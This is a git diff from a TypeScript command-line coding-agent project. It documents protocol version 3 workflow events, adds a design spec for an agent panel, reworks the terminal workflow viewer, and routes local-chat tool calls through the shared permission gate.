diff --git a/docs/CONTRACTS.md b/docs/CONTRACTS.md index a9a2606b..44d025ff 100644 --- a/docs/CONTRACTS.md +++ b/docs/CONTRACTS.md @@ -8,7 +8,7 @@ bug. --- -## 1. AetherCode ↔ Brain bridge event protocol · `PROTOCOL_VERSION = 2` +## 1. AetherCode ↔ Brain bridge event protocol · `PROTOCOL_VERSION = 3` The event seam between the headless brain (decides) and the TS host (renders + executes). Full prose + rationale: [`BRIDGE_PROTOCOL.md`](./BRIDGE_PROTOCOL.md). @@ -43,6 +43,28 @@ History: (old consumers ignore the new event + optional fields); the integer was bumped to 2 alongside the schema rev so the conformance fixture stays in lockstep across both repos. +- **v3** — the `web_search`/`web_fetch` tools joined `TOOLS` (see Invariant 2). + Separately, and never recorded here until now: the workflow swarm frames — + `workflow_start`, `phase_start`, `phase_done`, `agent_spawn`, + `agent_progress`, `agent_done`, `workflow_done` (the CODEPRO/HIGH+-effort + multi-agent workflow view) — also landed in `brain_protocol.ts` during the + v2->v3 window. Per the versioning rule above they're purely additive and + didn't need their own bump; this doc's silence on them until now was a + drift, not a deliberate omission, closed by this change per this doc's own + rule ("if code and this doc disagree, this doc wins and the code is the + bug"). Also additive, layered on top of the now-documented v3 baseline: + `agent_done` gained optional `tokens`/`tool_calls`/`duration_ms` (Tier-2/3 + per-agent metrics for the terminal/desktop workflow panels — + `docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md`); absent on + the wire, these decode to `undefined`, never a fabricated `0`. +- **Known gap:** `test/fixtures/bridge_conformance.json` (this repo) does not + yet include any of the v3 workflow-swarm frames in its `events` array, so + the conformance/drift-detector tests below don't exercise them. Extending + the fixture requires an identical update to the Unlimited-Context mirror's + copy (`tests/fixtures/bridge_conformance.json`, a separate repo) to avoid + creating the exact cross-repo drift this fixture exists to prevent — + flagged here, deliberately left for a coordinated cross-repo change rather + than fixed unilaterally in this PR. ### Messages (wire = NDJSON, one JSON object per line, keys snake_case, ASCII-safe) @@ -60,6 +82,13 @@ History: | `checkpoint` | `git_sha` | a verified step was committed | | `done` | `ok, result, remaining, reason` | run finished; `ok` from a real final test run (see invariant 5) | | `error` | `msg` | run aborted | +| `workflow_start` | `workflow_id, phases[{n, type, agents}], total_agents` | a CODEPRO/HIGH+ multi-agent workflow began | +| `phase_start` | `phase_n, phase_type, agent_count` | a workflow phase began | +| `phase_done` | `phase_n, artifact_summary` | a workflow phase completed | +| `agent_spawn` | `agent_id, phase_n, brief` | one swarm agent started | +| `agent_progress` | `agent_id, delta` | streamed output from one swarm agent (emitter not confirmed on the shared backend — see `docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md` Finding E) | +| `agent_done` | `agent_id, phase_n, summary, tokens?, tool_calls?, duration_ms?` | one swarm agent finished; the last 3 fields are optional Tier-2/3 metrics, absent on older brains | +| `workflow_done` | `synthesis, total_phases, total_agents` | the multi-agent workflow finished | **host → brain (commands)** @@ -76,9 +105,14 @@ History: does not match the outstanding call is a protocol violation → the brain emits `error` and aborts (it does NOT skip — skipping mis-pairs results to calls). 2. **One tool implementation, host-side.** `read_file · write_file · run_shell · - run_tests · repo_search · git_commit`. A single path-guard canonicalizes - (realpath: resolves `..`, absolute paths, and symlinks) BEFORE the workspace - allowlist check. Output is `[exit N]\n…`, capped, with stderr captured. + run_tests · repo_search · git_commit · web_search · web_fetch` (the full + canonical `TOOLS` set, `src/core/brain_protocol.ts`; this row previously + listed only the first 6 — pre-existing drift, closed by this change). A + single path-guard canonicalizes (realpath: resolves `..`, absolute paths, + and symlinks) BEFORE the workspace allowlist check for the filesystem/shell + tools; `web_search`/`web_fetch` have no repo path to canonicalize and are + guarded separately (SSRF/loopback/redirect checks, `src/core/web.ts`). + Output is `[exit N]\n…`, capped, with stderr captured. 3. **Encoding is lossless, codec-boundary only.** The wire is ASCII-escaped (`ensure_ascii`) so it survives a Windows cp1252 pipe; decode restores exact UTF-8. Rendered frames are real UTF-8 — escaping never touches them. diff --git a/docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md b/docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md new file mode 100644 index 00000000..1020f4b8 --- /dev/null +++ b/docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md @@ -0,0 +1,145 @@ +# Workflow Viewer → Agent Panel — Design + +**Date:** 2026-07-10 +**Repo:** aether-code (shared-backend companion: `AETHER-CLOUD` — see [companion spec](#companion-spec)) +**Scope:** `src/ui/workflow_viewer.ts`, `src/ui/task_chain.ts`, `src/commands/chat.ts` (the live in-REPL popout), `src/core/brain_protocol.ts` (shared wire protocol, additive only) +**Status:** SPEC ONLY — no code in this document. + +## Origin + +This is the terminal-CLI half of a cross-repo investigation. The operator asked to mirror Claude Code's own "Background tasks" panel — agents, tool-calls, tokens, elapsed time, grouped by phase — inside the product's task-chain UI, then clarified that aether-code and `AETHER-CLOUD` **share a backend**, that "the task chain" specifically means the live agent workflow triggered at CODEPRO/HIGH+ effort tiers (not the separate JSON workflow-template builder), and that the existing UI's fixed small cardinality (three, on the `AETHER-CLOUD` side) needs to generalize. The full findings — including the shared wire protocol, the backend's actual metrics availability, and the primary design — live in the [companion spec](#companion-spec) in `AETHER-CLOUD`. This document covers what's specific to aether-code: what exists here today, its own independent bugs, and how it should consume the same wire extension once it lands. + +## Current State — Verified Findings + +### A. No sidebar exists; the closest thing is an in-REPL popout + +`aether-code` has no persistent side-panel concept. `src/ui/tui_layout.ts` (`TuiLayout`) implements a full alt-screen, fixed-region layout (HEADER/TRANSCRIPT/STATUS/INPUT, absolute ANSI positioning) that *could* host a sidebar column, but it is **not the live default REPL surface** — `docs/specs/2026-06-09-frontend-ux-overhaul-design.md:47` explicitly rejected unifying the chat REPL onto `TuiLayout` ("changes the default chat UX wholesale, kills native scrollback in the REPL... belongs behind a flag later"). `TuiLayout` is exercised only by `test/tui.test.ts` today — zero production call sites (`grep "new TuiLayout("` returns test files only). `src/commands/chat.ts` runs its own inline, natural-scrollback REPL instead. + +The actual live analog to "task chain popout" is `src/ui/workflow_viewer.ts`'s `WorkflowViewerState` + `renderCiTree()`, wired into `chat.ts`: +- State: `viewerState`/`viewerOpen` (`chat.ts:378-379`). +- Frame ingestion: `chat.ts:409-433`. +- Toggle: Down-arrow opens it once a workflow becomes visible (`chat.ts:717-722`); Up/Down move a cursor through agents while open (`chat.ts:706-716,723-727`); Escape closes it (`chat.ts:742-748`). +- Render: `renderCiTree()` (`workflow_viewer.ts:102-115`) — a flat list, `▶ ● agent-id brief`, no phase grouping, no metrics columns. + +### B. A real, demonstrable redraw bug in the existing popout + +Every arrow-key move while the viewer is open does `\r\x1b[2K` (clear **one** line) then `write(renderCiTree(...) + "\n")` (`chat.ts:709-711,720-722,725-727`). This only erases the input row — not the previously-printed tree — so each cursor move leaves another full copy of the (growing) tree stacked in scrollback. This is a defect independent of the metrics/phase-grouping work below, and needs fixing regardless (pin-and-redraw-in-place, tracking the last-rendered line count and walking back up over it before repainting, the same idiom multi-line CLI progress UIs use). + +### C. `WorkflowViewerState` silently drops phase information + +`applyViewerFrame()`'s switch (`workflow_viewer.ts:34-84`) handles `workflow_start`, `agent_spawn`, `agent_progress`, `agent_done`, `workflow_done` — **it has no case for `phase_start` or `phase_done`**; both fall to `default: return state`. The live popout today has no phase names, no phase completion status, and no way to group agents by phase, even though the wire already carries this (`brain_protocol.ts:23-33`, `PhaseStartFrame`/`PhaseDoneFrame`). + +`src/ui/task_chain.ts`'s `TaskChainState`/`applyFrame` model phases correctly (`n`, `type`, `agentCount`, `status`, `artifactSummary`) — but it is **unused in production**. `grep "createTaskChainState|applyFrame("` finds call sites only in `test/task_chain.test.ts` and `test/brain_cloud_workflow.test.ts`; nothing in `src/commands/*.ts` ever constructs or updates it. It appears to be a superseded prototype for exactly the shape `WorkflowViewerState` needs but never absorbed. + +**Proposal:** consolidate — extend `WorkflowViewerState` to also handle `phase_start`/`phase_done` (reusing `task_chain.ts`'s already-correct transition logic), then delete `task_chain.ts` as dead code, migrating its test cases into `workflow_viewer.test.ts` so the phase-transition behavior it already verifies isn't lost. + +### D. `selectAgent`/`renderAgentFeed` are built but never wired + +`workflow_viewer.ts` exports `selectAgent()` and `renderAgentFeed()` (drill into one agent's raw streamed output) — both are exercised only in `workflow_viewer.test.ts`. `chat.ts`'s key handler has no "select/enter" case that calls either; Enter always submits the input buffer as a chat turn. A "view one agent's live feed" capability is fully built and completely unreachable from the running app. + +### E. Data gaps — identical shape to the `AETHER-CLOUD` side + +`WorkflowViewerState.AgentEntry` (`workflow_viewer.ts:3-10`) tracks `id, phaseN, brief, status, feed, summary` — no tokens, no tool-call count, no duration. The wire has nowhere to carry them either: `AgentSpawnFrame`/`AgentProgressFrame`/`AgentDoneFrame` (`brain_protocol.ts:34-50`) carry only `agentId`/`phaseN`/`brief`/`delta`/`summary`. This is the same three-tier gap the companion spec documents on the backend side (duration cheap, tool-calls moderate, tokens hardest) — see that document's Finding G for the concrete backend-side plan; this repo's job is decoding whatever additive fields land there. + +Session-level (not per-agent) tokens already exist and render today: `telemetry` frame (`tokens, tps, ctxUsed, ctxCap, vram`, `brain_protocol.ts:74`), surfaced via `StatusRenderer`/`TuiLayout`'s UVT figure (`status_renderer.ts:231-234`, `tui_layout.ts:271-272`). + +One divergence from the shared backend worth flagging: `brain_protocol.ts`'s `BrainEvent` union includes an `AgentProgressFrame` (`agentId, delta`) that the companion spec's backend investigation found **no emitter for** in `lib/orchestrator` (`phase_scheduler.py` emits only `agent_spawn`/`agent_done`, never a streaming delta). This field may be aspirational, or emitted only by aether-code's separate local-Ollama brain path — not confirmed either way; flagged here so it isn't assumed to be live wire traffic from the shared backend. + +### F. Achievable today with zero protocol changes + +Not everything in the reference panel needs a backend change: +- **Per-agent elapsed time** — the client can stamp `Date.now()` on `agent_spawn` and tick it live, the same technique `StatusRenderer`/`TuiLayout` already use for the session-level elapsed figure. No wire change needed. +- **Workflow description line** — `chat.ts` already has the triggering prompt text in hand (`built.prompt`, `chat.ts:402/409`) at the moment it starts a turn; it doesn't need the brain to echo it back. +- **Aggregate token/agent-count header fields** — `WorkflowStartFrame.totalAgents` and the session `telemetry.tokens` figure already exist and are already rendered elsewhere. +- **Phase grouping and per-phase dot-status** — unblocked entirely by Finding C's consolidation (task_chain.ts's logic already does this correctly); no wire change needed. + +Only the per-agent **Tokens** and **Tools** columns are genuinely gated on the backend extension. + +### G. Reusable primitives already in this codebase + +- `src/ui/theme.ts` / `errTheme` — `createTheme()` pattern, ANSI wrappers (`bold`, `cyan`, `iceBlue`, `dim`, `muted`, `green`, `red`, `yellow`). +- `src/ui/box.ts`'s `titledBox()` (`box.ts:111-149`) — an existing bordered-panel-with-header drawer, exactly the outer card shape needed; no need to hand-roll box-drawing the way `src/ui/goal_chain.ts` does. +- `src/ui/text.ts` — `visibleWidth`/`sliceVisible`/`wrapVisible`, the mandatory ANSI-safe width substrate for any new multi-line renderer. +- `src/ui/statusbar.ts`'s `humanTokens()` (`statusbar.ts:33-38`) — K/M/B formatting, matches the reference screenshot's "97.6k"/"1.8M" style exactly. +- `src/ui/elapsed.ts`'s `formatElapsed()` — matches the reference's "4m 26s"/"58m 28s" format exactly. +- `src/ui/effort.ts`'s block-track slider (`▓`/`●`/`░`) — a style precedent for progress/status indicators. +- `src/core/hud.ts` — an existing, extensible, width-aware, slash-command-toggled (`/add`, `/hud list/remove/clear`) element registry. Good UX/discoverability precedent, **wrong shape for this work**: HUD elements are single horizontal lines composed side-by-side, not stacked multi-row panels — don't force the phase/agent table into this system. +- **Minor cleanup opportunity, not required for this work:** three independent progress-bar implementations exist (`tui_layout.ts:338-341`, `status_renderer.ts:240-244`, `src/ui/progress.ts`), using two different glyph conventions (`▓/░` vs `█/#`). Worth consolidating if touching this area anyway; not blocking. + +## Approaches Considered + +**A. (chosen) Upgrade the existing inline popout in place.** Fix the redraw bug (Finding B), consolidate phase-handling (Finding C), extend `AgentEntry` with client-derivable fields first (Finding F), then wire Tier-2/3 metrics once the backend extension lands (Finding E). Keeps the existing Down-to-open/Up-Down-navigate/Escape-to-close muscle memory. Smallest blast radius, matches this repo's own demonstrated preference for surgical, additive hardening over wholesale rewrites (`docs/specs/2026-06-09-frontend-ux-overhaul-design.md`'s own "Approach A" chose exactly this posture over a bigger unification). + +**B. Adopt `TuiLayout` as the live REPL surface and add a true persistent sidebar column.** The visually truest match to the reference screenshot (a real always-on side panel, not a toggle) — but this is precisely the step `docs/specs/2026-06-09-frontend-ux-overhaul-design.md:47` already considered and explicitly deferred ("belongs behind a flag later"). Not rejected outright; documented here as the future path once Approach A has shipped and proven the data model, gated behind a flag so it doesn't force the larger decision now. + +**C. A separate full-screen "drill-down" view for one agent's feed, reusing the `logs_viewer.ts`/`model_picker.ts` full-takeover pattern.** Folded into Approach A as a stretch task (wire up the already-built `selectAgent`/`renderAgentFeed` from Finding D) rather than kept as a separate top-level approach — it complements the popout, it doesn't replace it. + +## Design (approach A) + +### Mockup + +``` +┌─ WORKFLOW ──────────────────────────────────────────────────────────┐ +│ merge-reconcile-harden 58m 28s │ +│ 19 agents · 1.8M tokens │ +│ │ +│ Reconcile 31-file merge conflict between loop/LOOP-19 patch and │ +│ a much-more-mature origin/main, then harden + simplify + add CI │ +│ │ +│ PHASES │ +│ ▾ Resolve round 1 (leaf clusters) ●●●●●● done │ +│ resolve:B 97.6k tok 40 tools 4m 26s │ +│ resolve:C 72.1k tok 31 tools 2m 32s │ +│ resolve:D 87.0k tok 50 tools 3m 58s │ +│ resolve:E 178.2k tok 104 tools 10m 18s │ +│ resolve:F 71.6k tok 29 tools 2m 11s │ +│ resolve:G 74.4k tok 37 tools 2m 21s │ +│ ▸ Harden (breaker/builder) ●●●●●●●●○○ running │ +│ │ +│ [↑↓ move · →/Enter expand phase · ←/Esc collapse · q close] │ +└──────────────────────────────────────────────────────────────────────┘ +``` + +Built with `titledBox()` for the outer frame, width `min(78, cols-2)` (matching `logs_viewer.ts`'s established narrow-terminal convention), `humanTokens()`/`formatElapsed()` for formatting, `theme.ts` for coloring. Tokens/Tools columns render `—` until Tier-2/3 wire data arrives for that agent — never a fabricated number, consistent with the companion spec's error-handling stance. + +### State changes + +- Consolidate `task_chain.ts`'s phase-tracking into `WorkflowViewerState` (Finding C): add `phases: PhaseRailEntry[]`-shaped tracking, handle `phase_start`/`phase_done`. +- Extend `AgentEntry` with client-derivable fields (Finding F): `startedMs: number | null`, plus the backend-gated `tokens`/`toolCalls`/`durationMs: number | null` once Tier 1-3 land. +- Add `expandedPhaseNs: number[]` to `WorkflowViewerState` for the collapse/expand interaction (plain array, not a `Set`, to keep the existing immutable-spread reducer style and strict-equality test assertions working unchanged). + +### Redraw fix + +Track the line count of the last panel render; before repainting, emit that many `\x1b[1A\x1b[2K` (cursor-up + clear-line) sequences instead of today's single `\r\x1b[2K`. Needs its own test (`tui.test.ts`-style: assert repeated moves never grow the emitted output beyond one panel's worth of lines). + +### Protocol extension (mirrors the companion spec's backend Tiers, TS-side) + +Per `docs/CONTRACTS.md`'s own versioning rule — *"Additive, forward-compatible changes do NOT bump the [PROTOCOL_VERSION] integer... a new message type, or a new OPTIONAL field on an existing message, that old (v1) consumers safely IGNORE"* — this repo can decode the same additive fields the companion spec proposes without a version bump, once the shared backend actually emits them: + +- Extend `AgentDoneFrame` (`brain_protocol.ts:45-50`) with optional `tokens?`, `toolCalls?`, `durationMs?` (wire: `tokens`, `tool_calls`, `duration_ms`), defaulted via the existing `num(obj[...], 0)` pattern already used throughout `decodeEvent()` so a brain that doesn't send them yet never throws. +- **Pre-existing documentation drift, unrelated to this proposal but touching the same table:** `docs/CONTRACTS.md:11` still declares `PROTOCOL_VERSION = 2` and its message tables (lines 47-70) list none of the `workflow_start`/`phase_start`/`agent_spawn`/etc. frames at all, even though `brain_protocol.ts:14` has been at `PROTOCOL_VERSION = 3` with these frames implemented for some time. By this doc's own rule ("if code and this doc disagree, this doc wins and the code is the bug"), this is already out of compliance independent of anything proposed here. Worth closing in the same change that touches this table next, so the drift doesn't widen further. + +## Error Handling + +- Non-TTY / `AETHER_NO_TUI=1` paths unaffected — the popout is TTY-gated the same way the rest of `chat.ts`'s interactive UI is. +- Missing Tier 2/3 data renders `—`, never estimates or zero-as-if-real. +- `AgentProgressFrame`'s unconfirmed emitter status (Finding E) means the panel should not assume streaming deltas arrive reliably — `renderAgentFeed`'s drill-down (Finding D stretch task) should handle an empty/sparse feed gracefully. + +## Testing + +- Extend `test/workflow_viewer.test.ts`, `test/tui.test.ts`. +- Migrate `test/task_chain.test.ts`'s phase-transition cases into `workflow_viewer.test.ts` before deleting `task_chain.ts` (Finding C). +- New: redraw-fix regression test (line-count-bounded repaint), phase-expand/collapse test, decode-side test for the new optional `AgentDoneFrame` fields (present and absent). + +## Out of Scope + +- Adopting `TuiLayout` as the default REPL surface (Approach B — future work, flagged, not decided here). +- Any change to `src/commands/workflow.ts` / `src/core/workflow.ts` (the JSON workflow-template builder — vault-stored `.aetherflow.json`, `WORKFLOW_TEMPLATES`) — confirmed architecturally separate from the live agent-workflow concept this spec addresses; do not conflate the two. +- Backend instrumentation itself (Tiers 1-3) — owned by the companion spec / `AETHER-CLOUD` repo. +- The three-duplicate-progress-bar cleanup (Finding G) — noted, not required. + +--- + +## Companion Spec + +`AETHER-CLOUD/docs/superpowers/specs/2026-07-10-task-chain-agent-panel-design.md` — the primary investigation (this is the secondary, terminal-CLI-specific half), covering the shared backend's actual metrics availability (tiered), the desktop task-chain UI's own "3 orbs" defect and its likely-wrong backend wiring, and the JSON-workflow-vs-agent-workflow disambiguation in full. `AETHER-CLOUD/docs/adr/ADR-0001-task-chain-agent-cardinality.md` records the core architectural decision both repos' agent-cardinality models should converge on. diff --git a/scource.md b/scource.md index 32f939a4..f886ba32 100644 --- a/scource.md +++ b/scource.md @@ -66,7 +66,7 @@ Other `commands/` files unchanged: `audit.ts`, `auth.ts`, `chat.ts` (725 lines senses, same word — read context. - **stage** vs **phase** — `stage` (ui/animations.ts, ui/phase_verb.ts) means agent *activity* (recon/reasoning/execute/self-review/…). `phase` - (ui/goal_chain.ts `GoalPhase`, ui/task_chain.ts, ui/workflow_viewer.ts) + (ui/goal_chain.ts `GoalPhase`, ui/workflow_viewer.ts `PhaseEntry`) means workflow/goal *phase* (numbered, agent-grouping). Not interchangeable. - **workspace** vs **worktree** — near-homophones, different meanings. `core/workspace.ts` = the file-edit sandbox abstraction (`WorkspaceContext`, diff --git a/src/commands/chat.ts b/src/commands/chat.ts index d15b8dd1..8f061e85 100644 --- a/src/commands/chat.ts +++ b/src/commands/chat.ts @@ -12,6 +12,7 @@ import { decodeSse } from "../core/stream.js"; import { Renderer } from "../core/render.js"; import { StreamUnavailableError, errorHint, isAbortError } from "../core/errors.js"; import { appendCustody } from "../core/custody.js"; +import { makeToolGate, deniedResult } from "../core/tool_gate.js"; import { handleSlash, primeCatalog } from "./slash.js"; import { applyPromptMode } from "./prompt_modes.js"; import { userInfo } from "node:os"; @@ -35,7 +36,17 @@ import { HostRenderer } from "../ui/host_render.js"; import type { TaskCommand } from "../core/brain.js"; import { getRegistry } from "../core/context_registry.js"; import { renderHud, timerLive } from "../core/hud.js"; -import { createViewerState, applyViewerFrame, moveCursor, renderCiTree } from "../ui/workflow_viewer.js"; +import { + createViewerState, + applyViewerFrame, + moveCursor, + renderCiTree, + selectAgent, + renderAgentFeed, + togglePhaseExpanded, + viewerClearSequence, + viewerLineCount, +} from "../ui/workflow_viewer.js"; import type { WorkflowViewerState } from "../ui/workflow_viewer.js"; import type { StreamFrame } from "../core/stream.js"; @@ -175,6 +186,12 @@ async function runLocalTurn(ctx: AppContext, prompt: string): Promise { const cwd = ctx.flags.cwd; const brain = new OllamaBrain(ctx.flags.model ? { model: ctx.flags.model } : {}); const exec = new ToolExecutor(cwd); + const gate = makeToolGate({ + permissionMode: ctx.cfg.permissionMode, + autoApply: ctx.cfg.autoApply, + yes: ctx.flags.yes, + confirm: ctx.confirm, + }); const renderer = new HostRenderer({ poolGb: 5, json: ctx.flags.json }); const task: TaskCommand = { type: "task", @@ -189,8 +206,16 @@ async function runLocalTurn(ctx: AppContext, prompt: string): Promise { renderer.event(ev); if (ev.type === "error") sawError = ev.msg; if (ev.type === "tool_call") { + // Permission gate — identical policy to the `code` command (same decideGate, + // same --yes opt-out, same fail-closed-on-non-TTY). Without it this path + // reached ToolExecutor.run -> spawnSync with a model-chosen command string + // while `code` gated the very same sink. A denied call is never executed; + // the brain is told so and the turn continues. // executeAsync so the two web tools (web_search/web_fetch) work too. - const result = await exec.executeAsync(ev.name, ev.args); + const approved = await gate({ name: ev.name, args: ev.args }); + const result = approved + ? await exec.executeAsync(ev.name, ev.args) + : deniedResult(ev.name); brain.sendToolResult(ev.id, result); } } @@ -382,6 +407,10 @@ async function repl(ctx: AppContext): Promise { // Workflow swarm viewer — updated as workflow_* frames arrive during a turn. let viewerState: WorkflowViewerState = createViewerState(); let viewerOpen = false; + // Line count of the last panel actually printed (tree or agent-feed), so + // redrawViewerTree can clear exactly that many lines instead of stacking + // duplicate copies in scrollback on every cursor move (Finding B). + let viewerLastLines = 0; return await new Promise((resolve) => { const onResize = (): void => repaint(); const cleanup = (): void => { @@ -409,6 +438,7 @@ async function repl(ctx: AppContext): Promise { btwNotes.length = 0; viewerState = createViewerState(); viewerOpen = false; + viewerLastLines = 0; turnAbort = new AbortController(); try { await runTurn(ctx, built.prompt, turnAbort.signal, (f) => { @@ -418,21 +448,46 @@ async function repl(ctx: AppContext): Promise { break; case "phase_start": viewerState = applyViewerFrame(viewerState, { type: "phase_start", phaseN: f.phase_n, phaseType: f.phase_type, agentCount: f.agent_count }); + if (viewerOpen) redrawViewerTree(); break; case "phase_done": viewerState = applyViewerFrame(viewerState, { type: "phase_done", phaseN: f.phase_n, artifactSummary: f.artifact_summary }); + if (viewerOpen) redrawViewerTree(); break; case "agent_spawn": viewerState = applyViewerFrame(viewerState, { type: "agent_spawn", agentId: f.agent_id, phaseN: f.phase_n, brief: f.brief }); + if (viewerOpen) redrawViewerTree(); break; case "agent_progress": viewerState = applyViewerFrame(viewerState, { type: "agent_progress", agentId: f.agent_id, delta: f.delta }); + // Only the drilled-into agent's feed view actually changes on a + // progress delta — the tree view's row doesn't show feed content, + // so redrawing there on every token would just be flicker. + if (viewerOpen && viewerState.selectedAgentId === f.agent_id) redrawViewerTree(); break; case "agent_done": - viewerState = applyViewerFrame(viewerState, { type: "agent_done", agentId: f.agent_id, phaseN: f.phase_n, summary: f.summary }); + viewerState = applyViewerFrame(viewerState, { + type: "agent_done", + agentId: f.agent_id, + phaseN: f.phase_n, + summary: f.summary, + tokens: f.tokens, + toolCalls: f.tool_calls, + durationMs: f.duration_ms, + }); + if (viewerOpen) redrawViewerTree(); break; case "workflow_done": viewerState = applyViewerFrame(viewerState, { type: "workflow_done", synthesis: f.synthesis, totalPhases: f.total_phases, totalAgents: f.total_agents }); + // Symmetric with the Escape-close path: erase the panel from the + // terminal instead of just flipping viewerOpen, or a popout still + // on screen when the workflow finishes is stuck in scrollback for + // the rest of the turn (the exact defect class Finding B fixed). + if (viewerOpen) { + process.stdout.write(viewerClearSequence(viewerLastLines)); + viewerLastLines = 0; + repaint(); + } viewerOpen = false; break; } @@ -604,11 +659,17 @@ async function repl(ctx: AppContext): Promise { repaint(); }; - // Clear the row and redraw the swarm viewer tree at its current cursor - // position, then restore the input line below it. + // Clear exactly the previously-printed panel (tree or agent-feed, per + // viewerLastLines) and redraw it at the current cursor/selection, then + // restore the input line below it. Renders the agent feed instead of the + // tree once an agent is selected (Finding D). const redrawViewerTree = (): void => { - process.stdout.write("\r\x1b[2K"); - process.stdout.write(renderCiTree(viewerState) + "\n"); + process.stdout.write(viewerClearSequence(viewerLastLines)); + const rendered = viewerState.selectedAgentId != null + ? renderAgentFeed(viewerState) + : renderCiTree(viewerState); + process.stdout.write(rendered + "\n"); + viewerLastLines = viewerLineCount(rendered); repaint(); }; @@ -666,10 +727,30 @@ async function repl(ctx: AppContext): Promise { repaint(); return; case "left": + // While the tree is open on a workflow with real phase data, + // Left/Right collapse/expand the phase under the cursor instead of + // moving the (currently irrelevant) text-input caret — matches the + // design mockup's "→/Enter expand phase · ←/Esc collapse" footer. + if (viewerOpen && viewerState.selectedAgentId == null && viewerState.phases.length > 0) { + const agent = viewerState.agents[viewerState.cursorIndex]; + if (agent) { + viewerState = togglePhaseExpanded(viewerState, agent.phaseN); + redrawViewerTree(); + } + return; + } buf.left(); repaint(); return; case "right": + if (viewerOpen && viewerState.selectedAgentId == null && viewerState.phases.length > 0) { + const agent = viewerState.agents[viewerState.cursorIndex]; + if (agent) { + viewerState = togglePhaseExpanded(viewerState, agent.phaseN); + redrawViewerTree(); + } + return; + } buf.right(); repaint(); return; @@ -716,8 +797,10 @@ async function repl(ctx: AppContext): Promise { return; case "up": if (viewerOpen) { - viewerState = moveCursor(viewerState, -1); - redrawViewerTree(); + if (viewerState.selectedAgentId == null) { + viewerState = moveCursor(viewerState, -1); + redrawViewerTree(); + } } else { buf.historyUp(); repaint(); @@ -728,8 +811,10 @@ async function repl(ctx: AppContext): Promise { viewerOpen = true; redrawViewerTree(); } else if (viewerOpen) { - viewerState = moveCursor(viewerState, 1); - redrawViewerTree(); + if (viewerState.selectedAgentId == null) { + viewerState = moveCursor(viewerState, 1); + redrawViewerTree(); + } } else { buf.historyDown(); repaint(); @@ -742,13 +827,35 @@ async function repl(ctx: AppContext): Promise { if (!buf.value) finish(0); return; case "submit": + // While the popout is open, Enter drills into the agent under the + // cursor instead of submitting the input buffer as a chat turn + // (Finding D: selectAgent/renderAgentFeed were fully built but + // never wired to a key handler). + if (viewerOpen) { + if (viewerState.selectedAgentId == null) { + const agent = viewerState.agents[viewerState.cursorIndex]; + if (agent) { + viewerState = selectAgent(viewerState, agent.id); + redrawViewerTree(); + } + } + return; + } void onSubmit().catch((err) => printError(err, ctx.cfg.baseUrl)); return; case "escape": if (viewerOpen) { - viewerOpen = false; - process.stdout.write("\r\x1b[2K"); - repaint(); + if (viewerState.selectedAgentId != null) { + // Back out of the agent-feed drill-down to the tree, not a + // full close — mirrors the design's two-level Esc behavior. + viewerState = selectAgent(viewerState, null); + redrawViewerTree(); + } else { + viewerOpen = false; + process.stdout.write(viewerClearSequence(viewerLastLines)); + viewerLastLines = 0; + repaint(); + } } return; default: diff --git a/src/commands/code.ts b/src/commands/code.ts index cda7ea93..e2ca98a6 100644 --- a/src/commands/code.ts +++ b/src/commands/code.ts @@ -40,12 +40,14 @@ import { resumeHint } from "./resume.js"; import { createWorktree, mergeHint, type Worktree } from "../core/worktree.js"; import { parseRepoSpec, ensureLocalClone, prCreateHint, type RepoSpec } from "../core/repo.js"; import { chooseBackend } from "../core/backend.js"; -import { decideGate } from "../core/autonomy.js"; +import { makeToolGate, type ToolGate } from "../core/tool_gate.js"; export { prepareWorkspace } from "./code_support.js"; -/** Approve (or refuse) one brain-emitted tool call before the host executes it. */ -export type ToolGate = (call: { name: string; args: Record }) => Promise; +/** Approve (or refuse) one brain-emitted tool call before the host executes it. + * Defined in core/tool_gate so `chat` and `code` cannot drift apart; re-exported + * here because existing callers import the type from this module. */ +export type { ToolGate }; export interface CodeOpts { /** Use the local Python/Ollama brain instead of the cloud API. */ @@ -231,23 +233,14 @@ export async function cmdCode(ctx: AppContext, task: string, opts: CodeOpts): Pr // apply; in `ask` (the default) on a TTY the user gets a y/N prompt, and on a // non-TTY (CI/pipe) an un-pre-approved call FAILS CLOSED rather than running // unattended. `--yes` or `permissionMode: skip` opt out. - const gate: ToolGate = async ({ name, args }) => { - const outcome = decideGate(name, ctx.cfg.permissionMode, ctx.cfg.autoApply, { - yes: ctx.flags.yes, - isTty: Boolean(process.stdin.isTTY), - }); - if (outcome === "allow") return true; - if (outcome === "deny") { - process.stderr.write( - `✗ blocked ${name} — permission mode "${ctx.cfg.permissionMode}" needs confirmation but there is no TTY.\n` + - ` re-run with --yes, or set a less strict mode: aether config set permissionMode skip\n`, - ); - return false; - } - const detail = String(args["command"] ?? args["path"] ?? args["message"] ?? ""); - const shown = detail.length > 200 ? detail.slice(0, 197) + "…" : detail; - return ctx.confirm(`\n⚠ ${name}${shown ? ` ${shown}` : ""} — run it? [y/N] `); - }; + // Built by core/tool_gate so `chat` applies the identical policy — the gate used + // to be inline here, which is how the local chat path ended up ungated. + const gate: ToolGate = makeToolGate({ + permissionMode: ctx.cfg.permissionMode, + autoApply: ctx.cfg.autoApply, + yes: ctx.flags.yes, + confirm: ctx.confirm, + }); // Presentation fork — TTY (and not --json/--quiet) gets the live animated // status line; everything else (pipes, --json, --quiet, CI) gets the plain diff --git a/src/core/brain_cloud.ts b/src/core/brain_cloud.ts index ae9f029f..d5cac8fe 100644 --- a/src/core/brain_cloud.ts +++ b/src/core/brain_cloud.ts @@ -153,6 +153,9 @@ function mapFrame(f: StreamFrame): BrainEvent | null { agentId: f.agent_id, phaseN: f.phase_n, summary: f.summary, + tokens: f.tokens, + toolCalls: f.tool_calls, + durationMs: f.duration_ms, }; case "workflow_done": return { diff --git a/src/core/brain_protocol.ts b/src/core/brain_protocol.ts index 21ad8ab9..f1afcd73 100644 --- a/src/core/brain_protocol.ts +++ b/src/core/brain_protocol.ts @@ -47,6 +47,13 @@ export interface AgentDoneFrame { agentId: string; phaseN: number; summary: string; + // Tier-2/3 metrics (docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md, + // Finding E) — additive optional fields per CONTRACTS.md's versioning rule, so + // a brain that doesn't send them yet never breaks old (or new) consumers. + // undefined (not 0) when absent — the UI renders "—", never a fabricated number. + tokens?: number; + toolCalls?: number; + durationMs?: number; } export interface WorkflowDoneFrame { type: "workflow_done"; @@ 